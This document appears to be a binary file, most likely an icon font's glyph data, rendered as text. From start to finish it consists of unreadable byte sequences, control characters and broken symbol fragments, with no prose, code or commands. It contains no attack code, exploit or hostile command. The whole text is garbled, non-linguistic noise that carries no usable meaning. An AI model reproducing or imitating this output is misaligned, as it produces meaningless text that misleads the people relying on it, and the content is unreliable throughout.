�T88$Rt:""8����'%#54&"#"3!26=4&"&4627#5462lB\B�p!.!�T.BB.T����T!!��d%/%#54&+"#";26=4&#7&54627#546;21#8#1		�	d8(p8�T#11#T	�		�	�=�T���d#/#"#";26=4&+546;2354&#7&5462P8#1�		�		881�8d1#T	�		�	TTT#1��=����%'654&#""/3272?64��J4I,IJ4�,�4JI,I4J�	,���d37OS54&+"#3;26=35534&+"#3;26=35#534&+"#3;26=35#53�	F	TT	F	���8�	F	��	F	TTT8�	F	TT	F	��T8H		8		8888M		8		8888M		8		8888����37OS%326=4&+5##";33#26=4&+5##";35'3#'26=4&+5##";35'3#�		8		8888M		8		8888M		8		8888�	F	TT	F	�P8�	F	��	F	TTT8�	F	TT	F	��T8����#+%&67'#"&5#'632347>7&"&462�,#2XD,,#2XD,�L55L5uDL2$LDL2#L5L55L����'/�?'&/#'737677'6?5'&"&462%5'&'7'&'7'&'7'&/#'''77737677'677'677'67"&462�5Bd2$$2$D7�*$2$$2����'/%5'&'7'&/#'737677'67"&462�@&;5T5;&@@&;6T6;&�.!!.!vT5;&@@&;5T5;&AA&;5!.!!.���d%'&"'7#'#72?64��
P��>ZFZQ
�2�
Q�>ZFZP
�2	����.2'#73#3#75#3#3#'37'&"2?64/7p888p888�88�p8f���TT,88p8Tp8T888����TT���d)#54&+"#"3!26=4&'3###5#53533�TpT!!P!!�pp�T8TT8T88!�!!�!88�TT8TT����1%5#&'37'#"'654&"+'3#3#732737'#67�UGL1F1LGUU61*�*16�/%{f
#11#
f{%/ze88ez����
75"2654'7.#�Qss�s^9��s�ssQ.*81;�����:!!3"&463237&546223237&5462#"#"&547'*#8��@8W"-"-J"J"--8���"KK�
"�
KK���H5!!73#73#73#3#��@888T88T88T888�T��pp�����H+/7#";2=4#537#";254#537#";254#53~TTTT�TTTT�TTTT����p���4�̌���l������{+;?CGK%67676'&#"&'&#"#3!535'632#6'47632&#&'&#535#53#537#53R
## 
_P}
	+�	-]pp���pp���	
#?> 2
p��pT	"7
-
���8��8���d!+55!#327#"34&+567326="&=3%#"'6=3l��T1#
 7!�!7 
#1��3	F	3,88#1.W!!W.1#k38���d%32#46;54&/&63!2

8�8
x4�

��

x���d!)%#54&"26=3264&%62"'&'6+532lb�bb�b#11��'h''h']##�*))�))*1F19



�F����	:"334&""=4""=4""=4"35467676=�:)8T�	
T�)Ҩz)bbbbbbb��b*����(>7>7632>7:+)(2$! 1[#
-$=:0"�z-;?B58�"'%TAkL;:P#@+��	
3]:-J*����#>7175?4�TT&,
��p�d�p��
TT�����d92#.5465#53&'#53&'&'#5&"#53#3#37336���?5�5?_4'%/((/%'4TTd�]>ii>]�5J
%%
J5������)"264654&'6762"7+"=4?3=�������.%)1�1)%.*dC
�������(A
:)11):
A(p�����',"264"&462&462"462"&462"35'=�������bb�b�D�D8��������b�bb��������+'7676176&/&"#?416??6��-N+
-O

�
�O-*O-

�

"����,.67>?>'>.'./&'�


<)"2; 	
!!
	
b//@3 $


#L*�CD@C703'>"Ux.^6Q����%'5324+";3!26%753���� .. ��[8[ �]]�(88p�ee�(����)'#"&54?#2654"&5473264'3xl -@- l l�lx�\3=X=3t�>!--!>��DMllMD�\A-jkX>>Wlj-A����
!!75##7!5+53T���p�P�88@4T88TT8����	
-159#"!54&'#?#";26/.!";26?6&#'3#53#53^�PZvmp	
	�	
D����*8T88F*8H,,	:		:	������������H1#54&+"#"3!26=4&%3##+"=#+"=#5!�ppp���pp�8�8���p****����%'7''.73?5PP�8�L(L`8�P8ThP�8`L(L�8�PpT8���H!%%'#54&+"32654'32654'3'53�8T�$!.!�!.!$�:#�p8�
!!

!!
TFF����3##7#373'734�pTTTp���b@�pp�@p8pp����
5'373'5&462"��Č8TT8b"",888p����pQ""����&-4;%#.'5##335>73'#&'5"&462'#>3.5673�,	U:8:U	,,	U:8:U	,e,
&#4g8&
,4<,
&#4�&
,4�:U	,,	U:8:U	,,	U:8&
,4[�,
&#4�&
,4<,
&#4����'7>7�����|)L22L)��88!==1\mYYm\1I����3#7���p����������"&476752654&'3#)RtR)=Os�sO�88@<
)tRRt)
<hBQssQBhR�����''7''7'>7''�(N,N(N2&�&2��4?>3�8T8(N,N(N2&�&2d4
�3>E8T8����!%7'777!#3!265#54&+"#35+53�Z@x��8!!�88�T88$h2j���P��!!P88����3#7!!3#7!!3#7!!pp���pp���pp����pT8TpT8TpT8����#!!!!!!462"462"462"�������!.!!.!!.!!.!!.!!.d8p8p8U.!!.!�.!!.!�.!!.!����)7!!5!!5!!'#5#53#575#53#535#535#5�������T8T88TT88888�8�8TpT�@@h����,5!!5!!!!!!%75'4��4��4��4��P8888�8�8p88�TTTT���,!!!!!!��x��x��x,TTT���dUY]ae%#54&+5326=4&+";#"#";26=4&+53#";26=4&+53#";26=4&#53#53'53#53�w		F		w		F		p		F		p		F	��88�8888�880[8	F		F	8[	F		F	TT	F		F	TT	F		F	T888�88��8�%4&'.#"&#"&#"3!26�!=*3##22#-`)+;("2F2-���H#%.#"&#"&#";732654&'3533�=*3##22#+``4-!�T888�+;("2F2``-)�TTT���d%%654&#".#"&#";3532654&#5#7�)		,-.BB.8pb)!�8Fbb�)!"B\BTT)&jTTbb���d%#'#!5!!5##7�FbbF8��@��@�8b~~�bbp8pp~~���r
!!%!573353%7##5��@��@8ppp��~~b8Tp88T~~pp���d%'353#!5#53BppFT*��88�pp��ppp8���d7#!5#53%7##5���88��ppFTLpp8�pp�����d
 (-38@HMSZaho"264673%#67!#='6767#6#67&'373#&&'&'&'53'537&'3'#&'%67#63&'&673)�{{�{[7��7T
	
�	
D=TN7TLR
	
�	
D=T$1*��*

**
d{�{{���8R
$
R08�887R
$
R08TT'

'�'

'����y"&4667'.'&676.'.'.'&6763>7&>'.'&'&76'&323676'676&&67627&#"'2=������)

	
)



	(-A4$	
,:����������*: 	
1$/


		'	!%
>-9���� A'&"7&/&4?62764&'"/&4?&72?64'�X`#`/+C�#`/+CX`__X#0`/+CXj#0`/+CX_X����27#"&#"632$2#4l$00$1F1&..&1F��85 �� //K�\�����+%'2?64&"2737'"&473762"&471�#2�;S�)Rt)zzS;�2#���2$�S;�)tR){z;S�#2��,	!)"267&'"'&'67672654'"&462(�x  x�x  R((2x2((B\Bl"",M??MM??((  ((/AA/##����&0;%#"'732767&'"'7#&#"32.5466767&o4 xH(&"<2(&q�B�`%'Hx 3O��0u(%�%9?M
" ('��/A1`M?9$O�q0W(&�:	-=$"267.2"&4"'&'&'67672654''&"67625&$�u''u�u''��>*  *1F1*  H�H&!%/B�B/%!�<44<<44a

##
#11#
##�%%/'!!'/T��l�7T����@���8����
7'!73p��8���H�x���8�xP
���d'3?KWco6"264&2"&4"/&462'"/&462362"&4762"&472"&=42"&=4&46;2+"$46;2+"�  JF11F1������$�  D1F11F���<��t
����
%1=IUam"264522"&=4"&=4622+"&463+"&46;2"/&462%'&462"%"&4?6262"&47\BB\Bp)))(���'	��	
		��		B\BB\t�):)F(�		�				�		����
"264463"=������xbFF��������b�����v	%/7'7'?��EE�p��pbOm11mO���m�II�/3mMccMm���v	%/7'5��EE�p��p1mO���m�II�/�cMm���v	%/7'��EE�p�����m�II����d%"/&54632632�*��*K69&&96K�9&��&96K**K���d(%4&#"&#"2?6'&/&546327632�K69&&96K*��*P��+ )) +�6K**K69&��&�� +..+ ���d%"/&546327'7632�*��*K6#)b8�b#6K�9&��&96KB8��84K����*%2###"&'5>5232%3#"&=46;�

!>N8ST��88�**$$�j3#>(**F������*7"&63&>34632".67#"&65#532+5*

!>N8STP88�**$$�j3#>(**F������'264&"2"&427"&'6462"6462"��������kk�kj�@PnP�@�����k�kk�q%;PQ:6""""����"264&2"&4&2"&4"&'27=��������nP@�@������""""�Q:%%;����+264&"2"&4462"6462""&'726��������kk�kF�$?L?$
-4-@�����k�kk�j%%����#"264&2"&4&2"&4"&'7267=��������L?$
-4-
$�������%����+264&"2"&4462"6462"#"&=#5��������kk�kF�("p@�����k�kk�T**����#"264$2"&4#"&=#53&"&462=��������"p��������**T����+264&"2"&4462"6462"'>2."��������kk�kF��$?L?$
-4-@�����k�kk��%%����#"264&2"&4&2"&4."'>2=��������
-4-
$?L?�������%%����".264&"2"&4>7#"&'6462"&"&5462��������kk�k�/C
R7'A/�p<
"@�����k�kk��	)7K& $�""!


����&"264&2"&4"21&"054"&'7>7=�������(Bn'A/_/C
R������""
�& $	)7K����#)=Q264&"2"&4;26=&'&53#5353&27>227654&"27>227654&"��������kk�k*B.8.B�
8T88;
8�*�*@�����k�kk�K.BB.k#TT;O#w����+049"264&2"'&""'&54&2"'&""'&543.53753=������*:�*:T%/p8T/������wl	<Ippl'<����-9264&"2"&4%2+"&5#+"&=4;23543267#"'7��������kk�k4888T8*3?&@�����k�kk�%**�%
	����1"264"'732677+"&5#+"&=4;2354;2=������3?f888T8T�������
	%�*����/C264&"2"&4."'>2&"&54567676>"&547&'&��������kk�k

-4-
$?L?

#�
#
@�����k�kk��%%�
����/;"26467676"&54&>"&547&'&."'>2=������#

�
#
�
-4-
$?L?������#
'�%%����'3KS$"&54567676'.>"&547&267"&'74'&"&'2654'6"&462$#

�
#
?4-
$?L?$
'5<�<5�����kk�k�
(
�%%5..50%4;]��];4%��k�kk�����+?K4'&"&'2654'667676"&54&>"&547&'&"&'7267�5<�<5����#

�
#
�L?$
-4-
$d5..50%4;]��];4%Z
'�%����'264&"2"&4462"6462"&462"��������kk�k~!.!!.O�@�����k�kk��.!!.!�""""����"264"&462"&4626"&462=�������O.!!.!(������A""�!.!!.�""����9264&"2"&4462"6462"3&'.#&6767>��������kk�kF�4
 4
 @�����k�kk�p*	
*	
����1"264&2"&4&2"&4&'.#&6767>'3=��������4
 4
 �������
*	
*����#264&"2"&46264&"264&"3#��������kk�kF��pp@�����k�kk������"264#5362"&4&2"&4=������pp�������������#264&"2"&4'&462"6462"��������kk�k
�
�@�����k�kk�r"8"�����"264&2"&4462"'7=�������
�
�������"8"����26o.#"32#!5#>7676=4&#"&#"&#"54&""435463276327632#&'.#"&46325462�"" ''

!.!�p
		
	�5(H�#0#TT
-
A!!��Mm	


	#
	!����d26o%#>54&"5#35;2654'654'654'3264&"42%+32+".'.'567>546232��#0#TT
-
A!!��Mm	


	#
	!��"" ''��

!.!�p
		
	�5(����26o5#"&46326767#5!##"'#"'#"'"&4"=332?32?326=4.'.'##"32>76726�"" ''

!.!�p
		
	�5(�#0#TT
-
A!!g��m	


	#
	!����d26o73.546253#5+"&547&547&547#"&4624"%;#";2>7>75&'.54&"#"8�#0#TT
-
A!!g��m	


	#
	!��"" ''��

!.!�p
		
	�5(����!2#!"&7462"42#'4�.� ����	&	;�����}���TT����"264$2"&43#3#+�kk�k������8888Vk�kk��������8�����73#72#575#56"264$2"&4�88pT8T���kk�k�����L8�T888Fk�kk�����������"264"&462'3##535#533=�������kk�k�88TpT��������k�kk��8�Tp����"264'3##535#533=������88TpT������/8�p�����4264&"'63247#"&������(/Fb���(/Fb�������/(�bF/(�b����"264#'#57'5373=�����pHH(HH(HH(HH(������HH(HH(HH(HH����
"264'77=�������])4��������y+B�����%#375#535#53�~�~~�~�8888>B~�~~��88�����+%'7676/&'&'&76??6'&���@��@��@��@��@��@��@��@���H'z�bF�H�bF������R'777''��VX�V�o�'�X�UW�Ub}�'�V����
.26<3354&+"353#%5#";5#554&+326=4#2#535#53'7788888lTTT8TT8888p�b$>�T���88��**�*F88��~A�h��53!2=4#!"��\�TT����%#54+"#";;2=32=4��T��T�ؚ�T��T����7#5355#53357##5���TT���p��88TT��TTpT�8p�����%5#535#'!#5#35P��Tp��4�pph888T8pTTl�p8�T����"264"&462'=�������kk�k��������k�kk��bb����"264"&462%3#73#=�������kk�k��88p88��������k�kk���������"264"&462%3#=�������kk�k������������k�kk�������264&"2"&4'7'7��������kk�k
bbpbb@�����k�kk��FF�FF����"264"&462%7=�������kk�k��bbpbb��������k�kk��FF�FFT��lH
T��H��8���H3#3#8��Č�H��P��8���H!!8P��H��b�:7''����:���̌��Tz:755����4���8���H377''88����P�����̌���8���H#5555�8����H������4����p��4H37'p8��P���̌����PH#55P8��H����4�����H5!!!��@��@08P����d/;"&4764'&462&"&4764'&462&"&4764'&4626/#53�
;;
HHQ++77Q''OjFF<�<H�H!
+z+
8�8"L'n'��j����d+$"&4764'&462&"&4764'&4626/#53C++77Q''OjFF
+z+
8�8"L'n'��j���&d6"&4764'&4626/#53�''OjFF<L'n'��j����d6/#53�jFF^��j����d6/#53#'#57'5373�jFF^%//%//%//%/^��j��%//%//%//%/���e
2#"/#5376##5#53533�		jFFj
T8TT8Td��j�j�TT8TT���e
2#"/#53763#�		jFFj*��d��j�j�8����7!7'!3!55!5#8pp��8P��ppP8�TppT�8TppT�����&#">3235"'7#73267'~A]Gs5V5F1?��F1?�BA]Gs5V>BQ@0=1?��x1?�BBQ@0=�,753'33'75#3#7�TppT�8��88TpphTpp�8�8Tpp����"+'"63".'&'&#237'2767&'�pU1#L"/!
1U"/!
1Upp��U1#pT**TT
 =*8
 =*TppT8**����577'7!p�p�p��0p�p�p����3353�����������7pp�p�p�p�p�pP����%'#3����������'!�p�p�pPp�p�p����7#5##���@�������'7''Pp�p�p@p�p�p������5535#5�����8���H726=264/3264&+8��dĄd��8���e%'&"2?265264���\\Ќ�\��\7���H#";2?26=l�d��H��d����H!764/&"!"3!2��\��\��\\8���H%4&"'&"#";���dļd��8���d72?64&"4&"'&"@��\\p��\��\8���H264&+764&"54&"�d����d����H264/!264&#!764&"���\��\@��\\����$2"&4264&"72+"/"&=��������kk�k�Hxx��������k�kk��xxH�����'$"&462264&""/"&="&4?62��������k�kk�_p@@p��������kk�k2p@��@p����$"264"&462'";2?26==�������kk�k�Hxx��������k�kk��xxH�����'"264"&462/&"#";2?64=�������kk�k2p@��@p��������k�kk�_p@@p����$"&462"264"&46;'&4625462=�������kk�k�Hxx@�����k�kk��xxH�����'$4&"2$462"?64&"54&"'&"2��������k�kk�_p@@pC�������kk�k2p@��@p����$264&"2"&4264&+764&"54&"��������kk�k�Hxx@�����k�kk��xxH�����'2"&4264&"?6232+"/&4��������kk�k2p@��@p��������k�kk�_p@@p����!!7'3355!5!'3=4��4ppp��pp4�̌,8Tpppp��ppT8T�pp����
!!!'7��x�T�T8����@��\�F�T8������!!!��x���@��\�����!!!3#��x�������@��\�T�����"264"&462&462"=�������bb�b�1F11F��������b�bb�#F11F1����"264"&462=�������bb�b��������b�bb�����7'#5##333535#'37lTT�8TT�8TT��TTTT8�TT8�������e%9AU%&+'764''#"3276'73276&#"&547>76326"&462#"'.'&54632�&
p��p
&'$$'��

Q  w

JpF��FpE%,,%E!

C  ~

����%"26=7546762"'&'&'6=���!.!��i<�<<�<�)*����*				���H757�p�H����,����!"&#"3&547;737#73267^A]d!M2JA/W^4 
yY>!r/|c]�8l+���d	%3'35#7#''#3#53#5�8FF88FF8pT8�8T0TT�TTTp8��48p���d	'7355'#3#535#5pTT�TTT8�8T8FF88FF8lp8��8pT��ld!%654&+;2654&'32+#5326B.888T.B�,,FFF�).B�xB.3�!.!�p!.!T��ld3"&=32765!!48RtR8H���d�4JJ4���88���d#3#53#5�8�8�8�8d��P���d*%#"'&53264&+53&'&4762#4&"32�g,(p(,82D22"�,,(p(,82D22"5(�1!!1!!.!!b!!1!!.!����!37#5>54&"#535.54624p�,6Z�Z6,�p>N���N>8p^V5FaaF5V^p8c=QssQ=c����%73!57'5!#'.#!326��\����ޛ��#?)� ��cp��
���,#'!53#57#5##53#%3#=33#!53���pppppppppp�xppp,��4�8888�8888T888T88p888
���d#'!53#57#5##53#%3#=33#!53���pppppppppp�xpppd�x��TTTT�TTTTpTTTpTT�TTT����#'/37?CG3#73#7#535#53#73#'3#533#73#7#535#53#73#'3#53%!!!�88T88�T8�88T88�8T88T88�T8�88T88�8T�x��@,p8TT8p�p8TT8p��x��@�8����3####5"&46��8888.BB�8�x��x�B\B����"3333357'�.BB.8888�@pp�B\B���x�8��pp����"333335p.BB.8888ppp�B\B���x�8Tpp���,!!!!!!!!!!!!��@4����@4����@4��,���,!!!!!!!!'!!!!��@T������T��@��@,TT�T���,!!!!!!!!!!!!��@�4�̌��@�4�̌��@�4��,���,5!!!!!!!!!!!!��@��@��@��@��@��@�TT4TT���d!!!!!!5!!!!��@������@��@d88p8�8p8���d!!!!!!'!!!!��@T����T��@��@d88p8�8p8���d!!!!!!'!!!!��@�������@��@d88p8�8p8���d!!!!!!!!!!��@��@��@��@��@d88888���d!!!!!!!!!!=��@���������@pd88888p�T���d!!!!!!!!!!'��@���������@ppd88888�T���d
!!!'!/75#TP����P�T@�@Td��P������\T@�@T0�3'73#37~pp8pp�8pp8pppppppp���H?#37#37'38p8pp8�8pp8p�F*F�ppp�ppp���P���d#!!!!!'###53535#5#5333#53��x���P�pTTd�x���P��T����%%"'64'73264&"&#"327264&z��)):)�))�):))L^^):))^):)^)):)����&-!"3!2654&32'6545&#"'777'7u��,,*,,���{{RQ��O((OQR�,��,,*,p��Ĩ`QP//PQ`����%!"3!2654&2'63"#7'7'"#u��,,*,,��c
f��f
c�,��,,*,8�����
f���f
�����!"3!2654&'7'77'7u��,,*,,��"p
h
��
��[
p�,��,,*,�|"p
�
tt
�t�
p����%"264%32'6545&#"'777'7=��������{{RQ��O((OQR��������Ĩ`QP//PQ`d��Zd(<D#"323*#"32654&'.5467654&'3#"&54632.6Yu(>2'
0CE35>
	!%U",3"

0-&-&d4"$14!&3""	
#&��=%$	{+;(*<���d(<DP#"323*#"32654&'.5467654&'3#"&54632.675##33535�v'?2(
0CF25>
	!%U!-4"

1-&-&�TTTd4"$14!&3""	
#&��=%$	{+;(*<#TTTT����*1!"3!2654&#5##5546;##5#535337#532u��+++,,`FF~#&�T8TT8Tbb%$�,��,,*,FFFFF	$F�TT8TT�F$������8GK^54566.%54&#!"6;#326=##5#5353:3&547"#"'64'.'&#&;64I<$2<#
�,��+/3�#2,�,TTT��0!%$�
>")}�6O85OM%,**	2/"
		-#
,�TTTT�X5 		
'"����-9EW7&'>32"6;#3264&#5#53533''.'&63"&547323*�N3,!aCp !	!,%&)]��888�%#;0 -%:3		`G-"
 -	����8888$&(*�),%""+
���c737/#'7�K�K�����K�_��%�޹ށ�p��B�#5#53546;#"3#�T88'4>'
E=@�M.32M'M����#!"3!2654&##5#53546;#"3u��,,*,,IT((+0M?
T�,��,,*,���@*,.E
#����2537#546;5#"#3.54���qSMT88#1**Sq��]U
�881#8o2
U]����/;!"3!2654&3"&547#!"&=32654'7+"=4;2v��,,,,,���2F2���,JjJ,�,��,,,,�#22#p88p5JJ5b�����W067&#".'"'0#"'#"'32>5456�(&69b#)* 			/2@@M=f?#+!6&
3*1!3#')/L\.����>!"3!2654&#"'327.'327.5413&547&546326767u��,,*,,%/bA=3	3)&
	" 
:], �,��,,*,�4_B! )	(J	,
	����6"264#"'327"&'327.5413&547&546326767=�����_*Y:7/.$"		5T'������-U;$$A'
����6"264'234&'234.T1##1#wW{V�zb�aVGx�7#1""1�V{Wz��Va�b[�xG����'!"3!2654&"&4624&#5234&#52u��,,*,,��  :O7No*�`v��,��,,*,��8N7oN`�7�v����"264"&4624&#5234&#52=�������1>+=V*oN`��������+>*V=No*�`���H!"3!26=4&5l��#11##11�H1#�#11#�#1���p���H"!"3!26=4&#!"&=463!27'l��#11##11!��!!!���H1#�#11#�#1�!!�!!�pp���`,5>27>76'&6#"&'.>'8D7	2-2/	%$+	(!�	�
1Ld2F!5/%Q*0
4%&	����5!"3!2654&.'.'&'>763276&676u��,,*,,0
R$
*

	(&�,��,,*,�6`	
	y"
60
)����-"264.'.'&'>763276&676=�����\
R$
*

	(&������=6`	
	y"
60
)����4!"3!2654&&''.4>767>676u��,,*,,#�
Y
V[	�,��,,*,��0	�� 0��<62"6462"9R99R�9R99RiR99R99R99R90��$"264&2"&4462"u.!!.!aR99R9�9R99R�!.!!.K9R99RRR99R9����!"3!2654&"&462"&462u��,,*,,�:)):)�:)):)�,��,,*,��):)):)):)):����"264"&462"&462=�������:)):)�:)):)�������):)):)):)):����%'632!#"'&5467&'4�$',(3=��g=,(.�?5@ԟ
��g=,(3=N�>i��%D���� '.!"3!2654&2'6467&&'7"'537#5u��,,*,,�,(��<11�T3Hp,(�U�A'-�,��,,*,}��9^2��$9H�A'-p�U1,����
*1;G"&462'&6&'032'>767&''77&'7>7&#"64=�����#9>Ee43B'�'<"	acU\!&)8�'!27H�5 AD@�����>	I@/@EL
 
)@,(Jq;4Gg4<"0F&

C����+;CIS7&54577&'632'>761#"'>!"3!2654&"&462'6&'67&&'&�5"+VV`>!?HQJ1$!C
"9..���,,*,,c�ss�s�62<
0@%;9�	$&0@~%5.q'>-�B=$,��,,*,�\s�ss�=	G)8{(.;
����&07EK&'632&54576"264"&462'&'67&&''>761#"'>76&O>!?35"+VVN�������ss�s�@%;9:QJ1$!C
"9..;62<
%5.�	$&0@ჺ�����s�ss�`
(.;
+'>-�B=$	G)8����
##535#5#3#���Ĩ88888��x88�8����73#!"3!2654&#5#�88���,,*,,�8p���pl,��,,*,��884��.�"7&7&'.'&#'7'636&7� 5�A'FZ+.�:s:G�4 �_:
"%5::k908C����-3!"3!2654&#523&'&##5476767532%6767u��,,*,,�D)F�!,8.:���,��,,*,��g#�*=8
K���d"6>$462"6&"'&276'7676"&5053276&/6326"&4624""s9RZED#J m �0#

	#�:)):)�""S9 �6	
51$!-b�#	#0�):)):����9AI7276&/632#"&'2#!"&=276'76764&"'54634&"2&462"�
##" 	�,,��,5 J m 9RZ_,=):)):G""	#0#!n,��,,X#.!!-bR9 �@y,�:)):)5""���H-KS[532>54'>&/&&#"."47>2>*.6462"&462"$/00/%$" 88 "$7'&	'/'	���1%%16(
 
		
 
(m """"���d7U]e6"'&6276'2>54'>&/"&"."47>2>".6462"6462"�



� $/0;0/%$",X,"$<&%	&.&	4�


y!5''5!;*#

#*m&
		
&#		#""""����L"26454'>54'6/&&#".#&'.'&47>762=�����A4"	





	"44"#L#"4�������4"
"

""4"#L#"44"#L#����)1;GWw"3254'&'&547>54'675#&2#"547"54327"32654&#3&=4"=3:35#547##6313275g!

-%[F	%*%+$w
77}
*9

$$
)$
L0
	/
2��"$
"�p�
��!Z/	
/Y)	1����AMYz�73254#"!"3!2654&#"'&5475&5475&'&54763227#6=4'36#"&54632#"'&=35#"5354'33"&+327'"3254'&s��,,*,,�	1? 		7&&



d
'	�4:,��,,*,�!!5	
�ji�
�="
	"?S
����/7AIQ7'4'&546323&#"2372#7/.63372#76327&57>54&"264"&46284+P
0A+J-	
=%,	
=n2\
4'-K�������ss�s�0O� +("
�lF
�6(	�
��K-*��������s�ss�����AQY7#"'77654'47.7>32"#"'76&##'"3'76&##"%!"3!2654&"&462�4�-'4
��P+4J+A0
=-		%=��,,*,,s�ss���
�-K�$*# �O�"(+
(6�
Fl�
�,��,,*,��ss�s����2Kc>27'&.#"7'&%4&#"&7627>'>6/"/732654&'"&4?'3267?j
,(5!#
d,d
U#"5d,d,
3(c-d-6 #�d

-(#!7(c�,'#!6d,df#
d,d,6"�7'd,d,
#!ed-(7!#(c����".%#"&'4&+";26=4&%32+"&46#"&46;2�T=I=UU=�=U��TT����<PU<�<UU<f
8�����'3?!"3!2654&+"&=46;2;2+"&46;2&+"&46;2u��,,*,,@-v-@@-7.?
	
Tpp(88�,��,,*,��-?@,x,@<-

=`T��l�7327#".=#567>733� /"
<"Hp�f*	D!�@
-#pT����.!"3!2654&#".=#567>733#327u��,,*,,T  	*
,GG	

�,��,,*,��	m,
H7O�,	!5%'46;2+"&=46;2&"264#3#535'#53#753s8!



��bb�b8 4*p*PT.Th��<



�RtRRt4  P. ����:Rt�7'&'&23276&76.36723276767673.%&>41.&#"#&'&'&'&7676767632'&'&'674&"&'454>�(3'
.2&�(L2+?!8
&
y��#


�	
	
	

!1#>
EFA1/4?278P!

	#, 8W'$	>
	
	-,)����!*%47&'&#"&#3>32726767&'6'Z15=32

+*;9%&�6* XL$�"&!$����+/7=7"'73237#47#3&5"'3#%#3673'#533&'&'##36�WQNRT7�
�l�Z648;�Tk"!2*&08ac���8p*,$$'�8��
�����1EMU$"26=4$"26=4;26=326=326=#?6&&"'&3."&462"&462�����0(�(�d�pppp�8888��""""6!!6A���i&27&#"#63267&32?#"'7&'&#6%#"'327'3� '(!(*
-'0!$0%&#4�'()"*&*a'$2'().%(��/^ ��|��J����d=7?#'5'53�����������!�� ���0��$*%".#"23264&37'##'7337'#37'#�:(�""�#M1�%4�!. obbbbGEFF888����+17=!"73#'3!26=#"#&=4763263254&#'73#'73#'73u��,,*,"�(:",��11�,�],,]!�4% �,��8888GEFFbbb���}J%654&#"&#"32732654&'&676676&'.7>76.#"�yU$3HyU#3H�.7	)
)#/E4$J/	%"+"C�UxH3$UxH3&\)	.&'-('.	
(I���HLT]en6462"6462"6"'.>274&#"&'73264&#"'&&#"2654'>&2"&44632&"&4627&'632p�
	!Z!	
B�!!-9!@G-8,!!s�sM			��
�``�`
\ �!L"
f!:RR:�			��?X??Xf����-!"3!2654&#53&"&462#54&"#53632u��,,*,,�88�888%�,��,,*,����pp�##)�&B%"&/.#"3267#"&4632654&'.54632&#"g"*
+
1(88(.(@7NN7*A
*&'"*
%3 a 9P9(0NnN*(+:	
!%'!",����J!"3!2654&"&/.#"326?#"&546323254/&54632&#"u��,,*,,M65	 '/341-2#/4."H-! ;�,��,,*,��)&-%& &
'
636;$,-/"9
3>����!"3!2654&+5#546;3u��,,*,,�����,��,,*,��ĕ�����.?!"3!2654&""&=326=4632'54&"&=726=3u��,,*,,�1F181#"2$�1F1$8�,��,,*,�p#11#88p#1/�#13'6

68����&7"264'""&=326=4632'54&"&=726=3=������1F181#"2$�F1$8������p#11#88p#1/�3'6

688#����%!53!5!!?'77'73��@8P������:"�h��pp8u6<7�3w2_-� ����6"264".'&>7&>>&'.&7>76=������

$
;11C,7T	=�������
+7;6*(+&#494B.@20;^����>!"3!2654&".'&>7&>>&'.&7>76u��,,*,,�

$
;11C,7T	=�,��,,*,��
+7;6*(+&#494B.@20;^����!4!"3!2654&#"&?5'&6;217+"'&1616;2u��,,*,,��04!0	!4�lD1El1�,��,,*,��[9	:]
�}
~�
����,"264#"&?5'&6;2117+"'&#616;2=�������(+),�Z9)9[)�������K/0M��hi�����+"754676332?##545&#";26=�PQh
7�z1
7�z�PQ�ZVP�hz&*I��z&*I�ZVP�����9EV!"3!2654&#!"&5463!2'&"&'.2?64/7'762'&'60?"/7u��,,*,, ��  *]+		=.		i		i		W�	.2a
i	h�,��,,*,�u  * +

(=

	i		i		M��-C"zR	ih1
��(9#'&"&'.2?64/762'&'6'"/70?�2l+		=.		i		i		l�	.2	�i	hFa��+

(=

	i		i		[
-C"Q	ih8R����$-+#73732676&+33732676&32+�


"%2d:R<Y
E1�WCsR<Y
$�8'6G	35 ��F=AG�p0�G=0A
! ����$+2+#73732676&+33732676&73'32##�


"%2d:R<Y
E1�WCsR<Y
$�(`8;&G	35 ��F=AG�p0�G=0AA;4Y����!FO2++;27676'&+7#33732676&'+#73732676&732#
%%2R K#6 
#8��WCsR<Y
$"


"%2d:R<Y
E�8'd.3oX� $n��p0�G=0A	35 ��F=AG�n! *����+C[n%326?654&/&'2;7676&/&'"'>57'&'."#4&/.?0>&7657&
9		-jk3	<-	X	\_
	o
K	J	b_
@") ;^
� }<	0L
#Q
n����"&+"3!2=4'!327#"6=4�
�P
�̚�T\v
�\�
�����\T����5;CMYmt�%&#&&'&'67>'&'5&+"32767327676'&67672&546767#"'6327'.+"3!2654&#5#!"54;23p	

*+65,"��d	!
-�	 >
$�BHO���o~		&'D#	J^+�
	
�>
��
$
H��zo����+2B%&66&&&26366763&7'.+"3!2654&#5#!"54;23.1$8:&:*)#RG. ;?>
$�BHO���o�R*�>
��
$
H��zo����")9%3'#'#3737#7'.+"3!2654&#5#!"54;23/!010!,8Js>
$�BHO���o�c�����Q>
��
$
H��zo����
!(8%#'#35#73'7'.+"3!2654&#5#!"54;23E;**;GPs1=P�>
$�BHO���o�>>jv(!Iv�>
��
$
H��zo����!%9@P3+3#;+3#;+3#3#;2=#537'.+"3!2654&#5#!"54;23�*******************888�>
$�BHO���oHb~p�>
��
$
H��zo����&6AJ73#3#3#'.+"3!2654&#5#!"54;233#"&546?2#56TTTTTTT7>
$�BHO���o�S') *)S�>
��
$
H��zo� )')S����&67'7'7'7'.+"3!2654&#5#!"54;23�TT8pTT8W>
$�BHO���o�TT88TT8�>
��
$
H��zo���� AU\l754635"+3235"&=4&#26#26=46;5#"&=4&#23"7'.+"3!2654&#5#!"54;23�!!p!!s>
$�BHO���ot2%%22%%2�>
��
$
H��zo����7#31/3?#'3$��$O��ef177�
���m--��3�M'@�����7#1'!/#1?#'37#$��$C��Bd771fe���
��m--���%%X�@'M�32����k!!!'7#7C2
��2{kK��CkK1KV))%ZDDR����+7'>32#&#"737654462".54732q@\4<g�(=���[[�/D//DA@Rm[8"�o'-<21'+\��$0RD//D/p
}T;3�%���f�%&'..'&#20"0&'.'076#&.'6766'&&'&'6767456'&'15147676161036705141450509&#1"#"'67&"'&'5676772367>4�	
5


	!!!
(

	

	
	


9l&;"	�!=
 

5<
	

'(
 1
+.b	).;-1���\'-39%3654'6'&"#"6773267#"&'&=>27&'6&7Ag"Q1Ch+6&6(\).?dh(/(
/@/N!8?��';Dm
4,I"R?7%ZL=
(-I93 ,, �63��M@$����!"32654&#".54>2�\vw[\xx
 0!�{c\��\c{�(6! .!%5546����(Hhjx�"056'&#"0264&'&67632&&'#"'&'7'&547677632'&#''073767'657'0/63231&'&61#"#1&'?�	
CU{�{{��'
B/#.'
B/#2V
	/4BV
	/4+	0d	

	pGW{{�{��#.'
B/#.'
B�B/4
	
VB/4
	
